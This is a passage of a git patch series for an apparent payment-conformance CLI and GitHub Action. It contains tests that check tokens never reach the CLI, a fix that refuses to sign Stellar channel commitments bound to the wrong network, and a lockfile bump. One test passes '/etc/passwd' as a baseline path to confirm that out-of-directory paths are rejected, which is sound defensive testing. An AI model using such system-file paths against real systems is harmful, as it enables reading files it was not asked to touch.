assert.ok(!/^\s*(::|##\[)/.test(line), line); + }); + + it("refuses to run without a temp directory, rather than writing somewhere else", async () => { + const { RUNNER_TEMP: _omitted, ...rest } = env(); + assert.equal((await runMain("check", rest)).code, 2); + }); +}); + +describe("wasit.mjs run and report, with a fake CLI", () => { + let root; + let temp; + let record; + + before(async () => { + root = await mkdtemp(path.join(tmpdir(), "wasit-action-fake-")); + temp = path.join(root, "runner-temp"); + record = path.join(root, "record.json"); + await mkdir(path.join(root, "action"), { recursive: true }); + await mkdir(path.join(root, "packages", "cli", "dist"), { recursive: true }); + await mkdir(path.join(temp, "wasit", "baseline"), { recursive: true }); + await writeFile( + path.join(root, "packages", "cli", "dist", "index.js"), + `const { appendFileSync, writeFileSync } = require("node:fs"); +appendFileSync(${JSON.stringify(record)}, JSON.stringify({ argv: process.argv.slice(2), env: process.env }) + "\\n"); +if (process.env.FAKE_WAIT) { + process.on("SIGTERM", () => { writeFileSync(${JSON.stringify(path.join(root, "got-sigterm"))}, "1"); process.exit(143); }); + writeFileSync(${JSON.stringify(path.join(root, "started"))}, "1"); + setInterval(() => {}, 1000); +} else { + process.exit(Number(process.env.FAKE_EXIT ?? 0)); +} +`, + ); + }); + after(async () => { + await rm(root, { recursive: true, force: true }); + }); + + const env = (overrides = {}) => ({ + PATH: process.env.PATH, + RUNNER_TEMP: temp, + ACTION_PATH: path.join(root, "action"), + INPUT_CONFIG: "wasit.config.json", + INPUT_ENVIRONMENT: "", + INPUT_TIER: "read-only", + INPUT_ENDPOINTS: "", + GITHUB_EVENT_NAME: "pull_request", + ...overrides, + }); + const lastCall = async () => { + const lines = (await readFile(record, "utf-8")).trim().split("\n"); + return JSON.parse(lines.at(-1)); + }; + const clearRecord = () => writeFile(record, ""); + + it("run: calls the CLI once with the fixed arguments, from the action's own checkout", async () => { + await clearRecord(); + const result = await runMain("run", env()); + assert.equal(result.code, 0, result.stderr); + const call = await lastCall(); + assert.deepEqual(call.argv, ["run", "--read-only", "--start-if-local", "--json", "--out", path.join(temp, "wasit", "report.json"), "--config", "wasit.config.json"]); + assert.equal((await readFile(record, "utf-8")).trim().split("\n").length, 1); + }); + + it("run: passes the environment, the endpoints and a baseline that is a file under the temp directory", async () => { + await clearRecord(); + const baseline = path.join(temp, "wasit", "baseline", "baseline.json"); + await writeFile(baseline, "{}"); + await runMain("run", env({ INPUT_ENVIRONMENT: "staging", INPUT_ENDPOINTS: "a,b", BASELINE_PATH: baseline })); + assert.deepEqual((await lastCall()).argv.slice(6), ["--baseline", baseline, "--config", "wasit.config.json", "--env", "staging", "--endpoint", "a", "--endpoint", "b"]); + }); + + it("run: leaves --baseline out when the path is empty, is not there, or is outside the temp directory", async () => { + await writeFile(path.join(root, "outside.json"), "{}"); + for (const BASELINE_PATH of ["", path.join(temp, "wasit", "baseline", "missing.json"), path.join(root, "outside.json"), "/etc/passwd"]) { + await clearRecord(); + await runMain("run", env({ BASELINE_PATH })); + assert.ok(!(await lastCall()).argv.includes("--baseline"), BASELINE_PATH || "(empty)"); + } + }); + + it("run: gives the CLI no token, in any form, although the step was given one", async () => { + await clearRecord(); + await runMain( + "run", + env({ + GH_TOKEN: "canary-gh-token", + GITHUB_TOKEN: "canary-github-token", + ACTIONS_RUNTIME_TOKEN: "canary-runtime-token", + ACTIONS_ID_TOKEN_REQUEST_TOKEN: "canary-id-token", + KEEP_ME: "kept", + WASIT_HEADER_X_API_KEY: "header-value-for-the-cli", + }), + ); + const { env: seen } = await lastCall(); + assert.equal(seen.KEEP_ME, "kept"); + assert.equal(seen.WASIT_HEADER_X_API_KEY, "header-value-for-the-cli", "what the workflow set for Wasit still reaches Wasit"); + assert.ok(!JSON.stringify(seen).includes("canary"), "no token reached the CLI"); + }); + + it("run: returns the exit code of the CLI unchanged: 0, 1 and 2", async () => { + for (const code of [0, 1, 2]) { + await clearRecord(); + const result = await runMain("run", env({ FAKE_EXIT: String(code) })); + assert.equal(result.code, code); + } + }); + + it("run: refuses the payment tier itself, before it starts the CLI", async () => { + await clearRecord(); + const result = await runMain("run", env({ INPUT_TIER: "payment" })); + assert.equal(result.code, 2); + assert.equal((await readFile(record, "utf-8")).trim(), ""); + }); + + it("run: exits 2 when the CLI is not where the action's checkout says (the install did not happen)", async () => { + const result = await runMain("run", env({ ACTION_PATH: path.join(root, "nowhere", "action") })); + assert.equal(result.code, 2); + assert.match(result.stderr, /not built|install/i); + }); + + it("report: calls ci-report with the report, the comment and the next baseline", async () => { + await clearRecord(); + await runMain("report", env()); + const w = (name) => path.join(temp, "wasit", name); + assert.deepEqual((await lastCall()).argv, ["ci-report", "--report", w("report.json"), "--comment", w("comment.md"), "--baseline-out", w("baseline-next.json")]); + }); + + it("report: adds the baseline when there is one, and gives the CLI no token", async () => { + await clearRecord(); + const baseline = path.join(temp, "wasit", "baseline", "baseline.json"); + await writeFile(baseline, "{}"); + await runMain("report", env({ BASELINE_PATH: baseline, GH_TOKEN: "canary-gh-token" })); + const call = await lastCall(); + assert.deepEqual(call.argv.slice(-2), ["--baseline", baseline]); + assert.ok(!JSON.stringify(call.env).includes("canary")); + }); + + it("report: returns the exit code of the CLI", async () => { + await clearRecord(); + assert.equal((await runMain("report", env({ FAKE_EXIT: "2" }))).code, 2); + }); + + it("run: passes a SIGTERM on to the CLI, which stops the service, and exits with what the CLI exits with", async () => { + await rm(path.join(root, "started"), { force: true }); + await rm(path.join(root, "got-sigterm"), { force: true }); + const child = spawn(process.execPath, [SCRIPT, "run"], { env: { ...env(), FAKE_WAIT: "1" }, stdio: ["ignore", "pipe", "pipe"] }); + const closed = new Promise((resolve) => child.on("close", (code, signal) => resolve({ code, signal }))); + for (let waited = 0; !existsSync(path.join(root, "started")) && waited < 100; waited += 1) await new Promise((resolve) => setTimeout(resolve, 50)); + assert.ok(existsSync(path.join(root, "started")), "the CLI started"); + child.kill("SIGTERM"); + const result = await closed; + assert.equal(result.code, 143); + assert.ok(existsSync(path.join(root, "got-sigterm")), "the CLI got the signal"); + }); + + it("an unknown command exits 2", async () => { + assert.equal((await runMain("deploy", env())).code, 2); + }); +}); + +/** Runs `node wasit.mjs ` as the workflow does, and returns its exit code and output. */ +function runScript(command, env, cwd) { + return new Promise((resolve, reject) => { + const child = spawn(process.execPath, [SCRIPT, command], { cwd, env, stdio: ["ignore", "pipe", "pipe"] }); + let stdout = ""; + let stderr = ""; + child.stdout.on("data", (chunk) => (stdout += chunk)); + child.stderr.on("data", (chunk) => (stderr += chunk)); + child.on("error", reject); + child.on("close", (code) => resolve({ code, stdout, stderr })); + }); +} + +const CHALLENGE = Buffer.from( + JSON.stringify({ + x402Version: 2, + resource: { url: "http://127.0.0.1/paid" }, + accepts: [ + { + scheme: "exact", + network: "stellar:testnet", + amount: "10000", + asset: "CBIELTK6YBZJU5UP2WWQEUCYKLPU6AUNZ2BQ4WWFEIE3USCIHMXQDAMA", + payTo: "GBNCC3VFT7PGUMGDQU5O35SXVWWTAHCO4LFFWLYFBLQCD56DNWYWM6ZS", + maxTimeoutSeconds: 60, + }, + ], + }), +).toString("base64"); + +describe("the Action's scripts with the real CLI", () => { + let root; + let workspace; + let temp; + let summary; + const built = existsSync(path.join(ACTION_DIR, "..", "packages", "cli", "dist", "index.js")); + + before(async () => { + root = await mkdtemp(path.join(tmpdir(), "wasit-action-real-")); + workspace = path.join(root, "workspace"); + temp = path.join(root, "runner-temp"); + summary = path.join(root, "step-summary.md"); + await mkdir(workspace, { recursive: true }); + await mkdir(temp, { recursive: true }); + await writeFile(summary, ""); + }); + after(async () => { + await rm(root, { recursive: true, force: true }); + }); + + /** A service the Action starts: v2 challenge, or an x402 v1 body challenge, and it dumps its environment. */ + async function writeService(name, port, v1) { + const script = path.join(workspace, `${name}.mjs`); + const envFile = path.join(root, `${name}.env.json`); + await writeFile( + script, + `import http from "node:http"; +import { writeFileSync } from "node:fs"; +http.createServer((req, res) => { + writeFileSync(${JSON.stringify(envFile)}, JSON.stringify(process.env)); + ${ + v1 + ? `res.writeHead(402, { "content-type": "application/json" }); res.end(JSON.stringify({ x402Version: 1, accepts: [{ scheme: "exact", network: "stellar:testnet" }] }));` + : `res.writeHead(402, { "payment-required": ${JSON.stringify(CHALLENGE)} }); res.end("{}");` + } +}).listen(${port}, "127.0.0.1"); +`, + ); + await writeFile( + path.join(workspace, `${name}.config.json`), + JSON.stringify({ + version: 1, + service: { start: `node ${name}.mjs`, ready: { url: `http://127.0.0.1:${port}/`, timeoutSeconds: 20 } }, + defaultEnvironment: "local", + environments: { local: { baseUrl: `http://127.0.0.1:${port}`, network: "stellar:testnet", operatedByMe: true } }, + endpoints: [{ name: "weather", protocol: "x402", path: "/api/weather", method: "GET" }], + }), + ); + return { config: `${name}.config.json`, envFile }; + } + + const stepEnv = (extra = {}) => ({ + PATH: process.env.PATH, + HOME: root, + RUNNER_TEMP: temp, + ACTION_PATH: ACTION_DIR, + GITHUB_STEP_SUMMARY: summary, + GITHUB_EVENT_NAME: "pull_request", + INPUT_TIER: "read-only", + INPUT_ENVIRONMENT: "", + INPUT_ENDPOINTS: "", + ...extra, + }); + + async function freePort() { + const { createServer } = await import("node:net"); + return new Promise((resolve) => { + const probe = createServer(); + probe.listen(0, "127.0.0.1", () => { + const { port } = probe.address(); + probe.close(() => resolve(port)); + }); + }); + } + + it("a push to main: check, run, report, with the service started, no token in its environment, and the baseline written", { skip: !built && "run npm run build first" }, async () => { + const { config, envFile } = await writeService("good", await freePort(), false); + const env = stepEnv({ + INPUT_CONFIG: config, + GITHUB_EVENT_NAME: "push", + GH_TOKEN: "canary-gh-token", + GITHUB_TOKEN: "canary-github-token", + WASIT_HEADER_X_API_KEY: "canary-header-value", + STELLAR_PRIVATE_KEY: "canary-stellar-key", + GITHUB_ENV: path.join(root, "fake-github-env"), + GITHUB_PATH: path.join(root, "fake-github-path"), + GITHUB_OUTPUT: path.join(root, "fake-github-output"), + }); + assert.equal((await runScript("check", env, workspace)).code, 0); + + const run = await runScript("run", env, workspace); + assert.equal(run.code, 0, run.stderr); + const report = JSON.parse(await readFile(path.join(temp, "wasit", "report.json"), "utf-8")); + assert.equal(report.endpoints[0].outcome, "conformant"); + assert.ok(!(await readFile(path.join(temp, "wasit", "report.json"), "utf-8")).includes("canary")); + + const seen = JSON.parse(await readFile(envFile, "utf-8")); + assert.ok(!JSON.stringify(seen).includes("canary"), "the service saw no token, no key and no header value"); + for (const name of ["GITHUB_ENV", "GITHUB_PATH", "GITHUB_OUTPUT", "GITHUB_STEP_SUMMARY"]) { + assert.equal(seen[name], undefined, `${name} is a file the runner reads after the step: not for the service`); + } + + const write = await runScript("report", env, workspace); + assert.equal(write.code, 0, write.stderr); + const comment = await readFile(path.join(temp, "wasit", "comment.md"), "utf-8"); + assert.equal(comment.split("\n")[0], COMMENT_MARKER); + assert.match(comment, /Wasit: conformant/); + assert.match(await readFile(summary, "utf-8"), /Wasit: conformant/, "the job summary was written"); + const next = JSON.parse(await readFile(path.join(temp, "wasit", "baseline-next.json"), "utf-8")); + assert.equal(next.history.weather["X402-01"], "P"); + }); + + it("a pull request that turns the paywall into x402 v1: the run fails with 1, against the baseline from main", { skip: !built && "run npm run build first" }, async () => { + // The baseline the earlier step would have downloaded: the file main uploaded. + const downloaded = path.join(temp, "wasit", "baseline"); + await mkdir(downloaded, { recursive: true }); + await writeFile(path.join(downloaded, "baseline.json"), await readFile(path.join(temp, "wasit", "baseline-next.json"))); + + const { config } = await writeService("v1", await freePort(), true); + const env = stepEnv({ INPUT_CONFIG: config, BASELINE_PATH: path.join(downloaded, "baseline.json") }); + + const run = await runScript("run", env, workspace); + assert.equal(run.code, 1, run.stderr); + assert.match(run.stderr, /regression against main/); + + const write = await runScript("report", env, workspace); + assert.equal(write.code, 0, write.stderr); + const comment = await readFile(path.join(temp, "wasit", "comment.md"), "utf-8"); + assert.match(comment, /Wasit: regression/); + assert.match(comment, /Regression: weather was conformant on main and is now unsupported/); + }); + + it("without a baseline the same v1 paywall is exit 2: nothing could be graded", { skip: !built && "run npm run build first" }, async () => { + const { config } = await writeService("v1b", await freePort(), true); + const run = await runScript("run", stepEnv({ INPUT_CONFIG: config }), workspace); + assert.equal(run.code, 2, run.stderr); + }); + + it("a service that exits at once: the run fails with 2, and the report step still replaces the comment with no verdict", { skip: !built && "run npm run build first" }, async () => { + // Earlier tests left a report, a comment and a baseline in the shared work directory; a real job starts empty. + for (const name of ["report.json", "comment.md", "baseline-next.json"]) await rm(path.join(temp, "wasit", name), { force: true }); + await writeFile(summary, ""); + const port = await freePort(); + await writeFile( + path.join(workspace, "dead.config.json"), + JSON.stringify({ + version: 1, + service: { start: "node -e 0", ready: { url: `http://127.0.0.1:${port}/`, timeoutSeconds: 10 } }, + defaultEnvironment: "local", + environments: { local: { baseUrl: `http://127.0.0.1:${port}`, network: "stellar:testnet", operatedByMe: true } }, + endpoints: [{ name: "weather", protocol: "x402", path: "/api/weather", method: "GET" }], + }), + ); + const env = stepEnv({ INPUT_CONFIG: "dead.config.json", GITHUB_EVENT_NAME: "push" }); + + const run = await runScript("run", env, workspace); + assert.equal(run.code, 2, run.stderr); + assert.equal(existsSync(path.join(temp, "wasit", "report.json")), false, "the run wrote no report"); + + const write = await runScript("report", env, workspace); + assert.equal(write.code, 0, write.stderr); + const comment = await readFile(path.join(temp, "wasit", "comment.md"), "utf-8"); + assert.equal(comment.split("\n")[0], COMMENT_MARKER, "same marker, so the earlier comment is the one that is replaced"); + assert.match(comment, /Wasit: no verdict\./); + assert.match(await readFile(summary, "utf-8"), /Wasit: no verdict\./, "the job summary says it too"); + assert.equal(existsSync(path.join(temp, "wasit", "baseline-next.json")), false, "a run that graded nothing is never a baseline"); + }); + + it("refuses the payment tier and pull_request_target as a process, exit 2", async () => { + assert.equal((await runScript("check", stepEnv({ INPUT_CONFIG: "x.json", INPUT_TIER: "payment" }), workspace)).code, 2); + assert.equal((await runScript("check", stepEnv({ INPUT_CONFIG: "x.json", GITHUB_EVENT_NAME: "pull_request_target" }), workspace)).code, 2); + }); +}); diff --git a/package-lock.json b/package-lock.json index 97226f4..d927922 100644 --- a/package-lock.json +++ b/package-lock.json @@ -10,7 +10,8 @@ ], "devDependencies": { "@types/node": "^26.1.1", - "typescript": "^7.0.2" + "typescript": "^7.0.2", + "yaml": "2.9.0" } }, "node_modules/@adraffy/ens-normalize": { diff --git a/package.json b/package.json index 3befb7a..d581008 100644 --- a/package.json +++ b/package.json @@ -6,12 +6,14 @@ ], "scripts": { "build": "npm run build -w packages/core && npm run build -w packages/cli && npm run build -w packages/server", - "test": "npm run test --workspaces --if-present", + "test": "npm run test --workspaces --if-present && npm run test:action", + "test:action": "node --test --test-timeout=120000 \"action/test/*.test.mjs\"", "verify:clean-install": "node scripts/verify-clean-install.mjs" }, "devDependencies": { "@types/node": "^26.1.1", - "typescript": "^7.0.2" + "typescript": "^7.0.2", + "yaml": "2.9.0" }, "overrides": { "typescript": "$typescript" From 689bdc050bee82a31186e835ff2a9d6723728011 Mon Sep 17 00:00:00 2001 From: Muhammad Dzakwan Najmi Date: Sun, 15 Nov 2026 11:00:01 +0800 Subject: [PATCH 5/7] fix(core): sign a channel commitment only when it binds the run's network A channel commitment is the bytes that prepare_commitment returns from an RPC the caller chooses, and the contract writes the network it runs on into them. Before the key signs them, they are now decoded and must name the run's channel, the amount the run means to sign, the commitment domain and the run's network, the same rule the MPP SDK's own client applies. Anything else is refused as a configuration error and nothing is signed. So the network the guard allowed is also the network the signature is valid on, whatever the RPC returns. Tests: a commitment for another network, channel, amount or domain, and bytes that are not a commitment, are refused; a good one signs and verifies; the RPC step never receives the key. --- packages/core/src/mpp/channel-commitment.ts | 101 ++++++++++++- .../unit/channel-commitment-binding.test.ts | 133 ++++++++++++++++++ 2 files changed, 232 insertions(+), 2 deletions(-) create mode 100644 packages/core/test/unit/channel-commitment-binding.test.ts diff --git a/packages/core/src/mpp/channel-commitment.ts b/packages/core/src/mpp/channel-commitment.ts index da01ebd..48a478a 100644 --- a/packages/core/src/mpp/channel-commitment.ts +++ b/packages/core/src/mpp/channel-commitment.ts @@ -9,6 +9,12 @@ * Mirrors `verifyCommitmentSignature` in @stellar/mpp channel/server: simulate * `prepare_commitment(amount)` read-only, take the returned Bytes, and sign them * with the raw ed25519 commitment key. No transaction is submitted, no fee paid. + * + * The bytes come from an RPC the caller chooses, and the contract writes the + * network it runs on into them. So before signing, the bytes are decoded and + * must name this channel, this amount and the run's network + * ({@link assertCommitmentBinds}), as the SDK's own client does: the network the + * guard allowed is then also the network the signature is valid on. */ import { @@ -16,12 +22,15 @@ import { Contract, Keypair, TransactionBuilder, + hash, nativeToScVal, rpc, scValToNative, xdr, } from "@stellar/stellar-sdk"; +import { ConfigurationError } from "../errors.js"; + /** * Format-valid all-zero account used purely as a simulation source. It need not * exist on the ledger: read-only simulation never touches the source account. @@ -47,6 +56,79 @@ export class CommitmentSimulationError extends Error { } } +/** + * The commitment the RPC returned is not one for this run's channel, amount and + * network. A `ConfigurationError`: it says nothing about the target's + * conformance, only that the RPC or the channel the run was given does not + * belong to the run's network, or answered with something that is not a + * commitment. Nothing is signed when it is thrown. + */ +export class CommitmentBindingError extends ConfigurationError { + public constructor(reason: string) { + super(`Refusing to sign the channel commitment: ${reason} Nothing was signed.`); + this.name = "CommitmentBindingError"; + } +} + +/** The domain separator in every one-way-channel commitment (`symbol_short!("chancmmt")` in the contract). */ +export const COMMITMENT_DOMAIN = "chancmmt"; + +export interface CommitmentExpectation { + /** The channel contract (C...) this run pays through. */ + readonly channelContract: string; + /** The cumulative amount this run means to sign, in base units. */ + readonly amount: bigint; + /** The passphrase of the run's network, the one the network guard allowed. */ + readonly networkPassphrase: string; +} + +/** + * Throws unless `bytes` decode to a commitment for exactly this channel, amount + * and network, under the commitment domain. + * + * The same rule as `assertCommitmentBinds` in @stellar/mpp 0.7.1 + * (`dist/channel/commitment.js`), which the package does not export: the network + * field is the SHA-256 of the network's passphrase, written by the contract from + * the ledger it runs on, so it says which network the signature would be valid + * on whatever the run was told. + * + * @throws {CommitmentBindingError} On any mismatch, or bytes that are not a commitment. + */ +export function assertCommitmentBinds(bytes: Uint8Array, expected: CommitmentExpectation): void { + let decoded: unknown; + try { + decoded = scValToNative(xdr.ScVal.fromXDR(Buffer.from(bytes))); + } catch { + throw new CommitmentBindingError("prepare_commitment did not return a decodable commitment."); + } + if (decoded === null || typeof decoded !== "object" || Array.isArray(decoded) || decoded instanceof Uint8Array) { + throw new CommitmentBindingError("prepare_commitment did not return a commitment struct."); + } + const { domain, network, channel, amount } = decoded as Record; + if (domain !== COMMITMENT_DOMAIN) { + throw new CommitmentBindingError("the commitment does not carry the commitment domain."); + } + if (channel !== expected.channelContract) { + throw new CommitmentBindingError("the commitment is for another channel than the one this run pays through."); + } + let committed: bigint; + try { + committed = BigInt(amount as string | number | bigint); + } catch { + throw new CommitmentBindingError("the commitment amount is not an integer."); + } + if (committed !== expected.amount) { + throw new CommitmentBindingError(`the commitment is for ${committed} base units, not the ${expected.amount} this run means to sign.`); + } + const runNetwork = hash(Buffer.from(expected.networkPassphrase)); + if (!(network instanceof Uint8Array) || !Buffer.from(network).equals(runNetwork)) { + throw new CommitmentBindingError( + "the commitment is for another network than the run's. The RPC or the channel belongs to another network " + + "(a mainnet RPC on a test-network run, for example); point the run at an RPC of its own network.", + ); + } +} + export interface PrepareCommitmentParams { /** Channel contract address (C...). */ readonly channelContract: string; @@ -285,18 +367,33 @@ export async function prepareCommitmentBytes( return Buffer.from(returnValue.bytes()); } +/** What `signChannelCommitment` can be given instead of its own steps, for tests. */ +export interface SignChannelCommitmentDeps { + /** In place of the simulation of `prepare_commitment` on the RPC. */ + readonly prepare?: (params: PrepareCommitmentParams) => Promise; +} + /** - * Signs a channel commitment for an explicit cumulative amount. + * Signs a channel commitment for an explicit cumulative amount, after + * {@link assertCommitmentBinds} has checked what it is about to sign. * * @returns The raw 64-byte ed25519 signature, hex-encoded, ready to be placed * in the credential payload's `signature` field. */ export async function signChannelCommitment( params: SignChannelCommitmentParams, + deps: SignChannelCommitmentDeps = {}, ): Promise { const { commitmentSecretHex, ...prepareParams } = params; const keypair = commitmentKeypairFromHex(commitmentSecretHex); - const commitmentBytes = await prepareCommitmentBytes(prepareParams); + const commitmentBytes = await (deps.prepare ?? prepareCommitmentBytes)(prepareParams); + // Before the key touches the bytes: they must commit to this channel, this + // amount and the run's network, whatever the RPC that produced them. + assertCommitmentBinds(commitmentBytes, { + channelContract: prepareParams.channelContract, + amount: prepareParams.amount, + networkPassphrase: prepareParams.networkPassphrase, + }); const signature = keypair.sign(commitmentBytes); if (signature.length !== ED25519_SIGNATURE_BYTES) { diff --git a/packages/core/test/unit/channel-commitment-binding.test.ts b/packages/core/test/unit/channel-commitment-binding.test.ts new file mode 100644 index 0000000..394a1f7 --- /dev/null +++ b/packages/core/test/unit/channel-commitment-binding.test.ts @@ -0,0 +1,133 @@ +/** + * A channel commitment is signed only when its bytes commit to the run's channel, + * amount and network. + * + * The bytes come from simulating `prepare_commitment` on an RPC the caller + * chooses (`--rpc-url`, the MCP tool's `rpcUrl`), and the contract writes the + * network it runs on into the commitment. The check keeps the signature on the + * network the guard allowed, whatever the RPC returns. It mirrors + * `assertCommitmentBinds` of @stellar/mpp 0.7.1 (dist/channel/commitment.js), + * which the package does not export. + * + * Offline: the bytes are built here and the RPC step is replaced. Every key is + * random; nothing is sent anywhere. + */ + +import assert from "node:assert/strict"; +import { randomBytes } from "node:crypto"; +import { describe, it } from "node:test"; + +import { Keypair, Networks, StrKey, hash, nativeToScVal, xdr } from "@stellar/stellar-sdk"; + +import { + CommitmentBindingError, + assertCommitmentBinds, + signChannelCommitment, +} from "../../src/mpp/channel-commitment.js"; +import { ConfigurationError } from "../../src/errors.js"; + +const CHANNEL = StrKey.encodeContract(Buffer.alloc(32, 7)); +const OTHER_CHANNEL = StrKey.encodeContract(Buffer.alloc(32, 8)); +const AMOUNT = 1_000_000n; + +/** The bytes `prepare_commitment` returns: an XDR ScVal map of domain, network, channel and amount. */ +function commitmentBytes(fields: { domain?: string; passphrase?: string; channel?: string; amount?: bigint } = {}): Buffer { + return nativeToScVal( + { + amount: fields.amount ?? AMOUNT, + channel: fields.channel ?? CHANNEL, + domain: fields.domain ?? "chancmmt", + network: hash(Buffer.from(fields.passphrase ?? Networks.TESTNET)), + }, + { + type: { + amount: ["symbol", "i128"], + channel: ["symbol", "address"], + domain: ["symbol", "symbol"], + network: ["symbol", "bytes"], + }, + }, + ).toXDR(); +} + +const EXPECTED = { channelContract: CHANNEL, amount: AMOUNT, networkPassphrase: Networks.TESTNET }; + +describe("assertCommitmentBinds", () => { + it("accepts a commitment for the run's channel, amount and network", () => { + assert.doesNotThrow(() => assertCommitmentBinds(commitmentBytes(), EXPECTED)); + }); + + it("refuses a commitment for stellar:pubnet when the run is on stellar:testnet", () => { + assert.throws( + () => assertCommitmentBinds(commitmentBytes({ passphrase: Networks.PUBLIC }), EXPECTED), + (error: unknown) => error instanceof CommitmentBindingError && /network/.test(error.message), + ); + }); + + it("refuses any other network, the futurenet among them", () => { + assert.throws(() => assertCommitmentBinds(commitmentBytes({ passphrase: Networks.FUTURENET }), EXPECTED), CommitmentBindingError); + }); + + it("refuses another channel, another amount and another domain", () => { + assert.throws(() => assertCommitmentBinds(commitmentBytes({ channel: OTHER_CHANNEL }), EXPECTED), CommitmentBindingError); + assert.throws(() => assertCommitmentBinds(commitmentBytes({ amount: AMOUNT + 1n }), EXPECTED), CommitmentBindingError); + assert.throws(() => assertCommitmentBinds(commitmentBytes({ amount: AMOUNT * 1000n }), EXPECTED), CommitmentBindingError); + assert.throws(() => assertCommitmentBinds(commitmentBytes({ domain: "chanclos" }), EXPECTED), CommitmentBindingError); + }); + + it("refuses bytes that are not a commitment: garbage, an empty value, a number, a list", () => { + for (const bytes of [ + randomBytes(48), + Buffer.alloc(0), + nativeToScVal(5, { type: "u32" }).toXDR(), + nativeToScVal(["chancmmt"], { type: ["symbol"] }).toXDR(), + xdr.ScVal.scvVoid().toXDR(), + ]) { + assert.throws(() => assertCommitmentBinds(bytes, EXPECTED), CommitmentBindingError); + } + }); + + it("is a configuration error: no verdict about the target, and nothing was signed", () => { + try { + assertCommitmentBinds(commitmentBytes({ passphrase: Networks.PUBLIC }), EXPECTED); + assert.fail("expected a refusal"); + } catch (error) { + assert.ok(error instanceof ConfigurationError); + assert.match((error as Error).message, /nothing was signed/i); + } + }); +}); + +describe("signChannelCommitment refuses before it signs", () => { + const seed = randomBytes(32).toString("hex"); + const params = { ...EXPECTED, rpcUrl: "https://rpc.invalid", commitmentSecretHex: seed }; + + it("signs a commitment that binds the run's network, and the signature verifies", async () => { + const bytes = commitmentBytes(); + const signature = await signChannelCommitment(params, { prepare: async () => bytes }); + assert.equal(signature.length, 128); + assert.ok(Keypair.fromRawEd25519Seed(Buffer.from(seed, "hex")).verify(bytes, Buffer.from(signature, "hex"))); + }); + + it("does not sign what an RPC on stellar:pubnet returned for a run on stellar:testnet", async () => { + await assert.rejects( + signChannelCommitment(params, { prepare: async () => commitmentBytes({ passphrase: Networks.PUBLIC }) }), + CommitmentBindingError, + ); + }); + + it("does not sign arbitrary bytes a hostile RPC returned", async () => { + await assert.rejects(signChannelCommitment(params, { prepare: async () => randomBytes(64) }), CommitmentBindingError); + }); + + it("hands the RPC step exactly the run's channel, amount, passphrase and RPC url, and never the key", async () => { + let seen: Record | undefined; + await signChannelCommitment(params, { + prepare: async (given) => { + seen = { ...given }; + return commitmentBytes(); + }, + }); + assert.deepEqual(seen, { channelContract: CHANNEL, amount: AMOUNT, networkPassphrase: Networks.TESTNET, rpcUrl: "https://rpc.invalid" }); + }); +}); From 11728b4c94b75affdb4987da2a0fb745b31ab6a4 Mon Sep 17 00:00:00 2001 From: Muhammad Dzakwan Najmi Date: Sun, 15 Nov 2026 16:56:01 +0800 Subject: [PATCH 6/7] build(core): stellar-sdk 16.4.1, which reads protocol 30 ledgers Testnet runs protocol 30. stellar-sdk 16.1.0 cannot decode its ledger header ("XDR Read Error: unknown StellarValueType member for value 3"), so every call that reads one fails: getLatestLedger and getLedgers, and with them the MPP channel server's on-chain state check, which then refuses every voucher. 16.4.1 decodes them. 16.4.1 is inside the range core declares (^16.1.0), so no package.json changes; only the lockfile moves, with the SDK's own pins (axios 1.20.0, follow-redirects 1.16.3). The separate 16.3.1 copy under @x402/stellar now resolves to the same 16.4.1. --- package-lock.json | 69 ++++++++--------------------------------------- 1 file changed, 11 insertions(+), 58 deletions(-) diff --git a/package-lock.json b/package-lock.json index d927922..17fc253 100644 --- a/package-lock.json +++ b/package-lock.json @@ -2235,15 +2235,15 @@ } }, "node_modules/@stellar/stellar-sdk": { - "version": "16.1.0", - "resolved": "https://registry.npmjs.org/@stellar/stellar-sdk/-/stellar-sdk-16.1.0.tgz", - "integrity": "sha512-MOIrUvbzuTnSvUurL+9nrS1UW6Ko+QTW00RggSomm4WaWkE8onKPo2MRJMd89X7qPaGPjYjxNX6B671AEQlzxQ==", + "version": "16.4.1", + "resolved": "https://registry.npmjs.org/@stellar/stellar-sdk/-/stellar-sdk-16.4.1.tgz", + "integrity": "sha512-0kT+ShOUE6dc0smLEsajuizss1hvlGDsCooM88FqgxNOCKpY8IuQPzCs75RNKMSMITz+dX7KZ5qGhQ2EWGMTTg==", "license": "Apache-2.0", "dependencies": { "@noble/ed25519": "^3.1.0", "@noble/hashes": "^2.2.0", "@stellar/js-xdr": "4.0.0", - "axios": "1.18.0", + "axios": "1.20.0", "base32.js": "^0.1.0", "bignumber.js": "^11.1.4", "buffer": "^6.0.3", @@ -2854,53 +2854,6 @@ "node": ">=22.0.0" } }, - "node_modules/@x402/stellar/node_modules/@stellar/stellar-sdk": { - "version": "16.3.1", - "resolved": "https://registry.npmjs.org/@stellar/stellar-sdk/-/stellar-sdk-16.3.1.tgz", - "integrity": "sha512-PPM1JA51NChSPyMkh+T9sHxJtP/v9e9Gcyc2BMNvnGvbZwqoKJclRSdPgmalLDAmTnTewGs7VMM9nRxDeCzzgQ==", - "license": "Apache-2.0", - "dependencies": { - "@noble/ed25519": "^3.1.0", - "@noble/hashes": "^2.2.0", - "@stellar/js-xdr": "4.0.0", - "axios": "1.18.0", - "base32.js": "^0.1.0", - "bignumber.js": "^11.1.4", - "buffer": "^6.0.3", - "commander": "^14.0.3", - "eventsource": "^4.1.0", - "feaxios": "^0.0.23", - "smol-toml": "^1.6.1", - "uint8array-extras": "^1.5.0" - }, - "bin": { - "stellar-js": "bin/stellar-js" - }, - "engines": { - "node": ">=22.0.0" - } - }, - "node_modules/@x402/stellar/node_modules/commander": { - "version": "14.0.3", - "resolved": "https://registry.npmjs.org/commander/-/commander-14.0.3.tgz", - "integrity": "sha512-H+y0Jo/T1RZ9qPP4Eh1pkcQcLRglraJaSLoyOtHxu6AapkjWVCy2Sit1QQ4x3Dng8qDlSsZEet7g5Pq06MvTgw==", - "license": "MIT", - "engines": { - "node": ">=20" - } - }, - "node_modules/@x402/stellar/node_modules/eventsource": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/eventsource/-/eventsource-4.1.1.tgz", - "integrity": "sha512-D6bTRWh6KahHTK/m4WnjPQyEinNPf9eFLEZSEoj7d6fTibspnAVYfzHvirL7u/aoX5d9YYfIkBVAhmigUELk9w==", - "license": "MIT", - "dependencies": { - "eventsource-parser": "^3.0.1" - }, - "engines": { - "node": ">=20.0.0" - } - }, "node_modules/abitype": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/abitype/-/abitype-1.3.0.tgz", @@ -3045,13 +2998,13 @@ } }, "node_modules/axios": { - "version": "1.18.0", - "resolved": 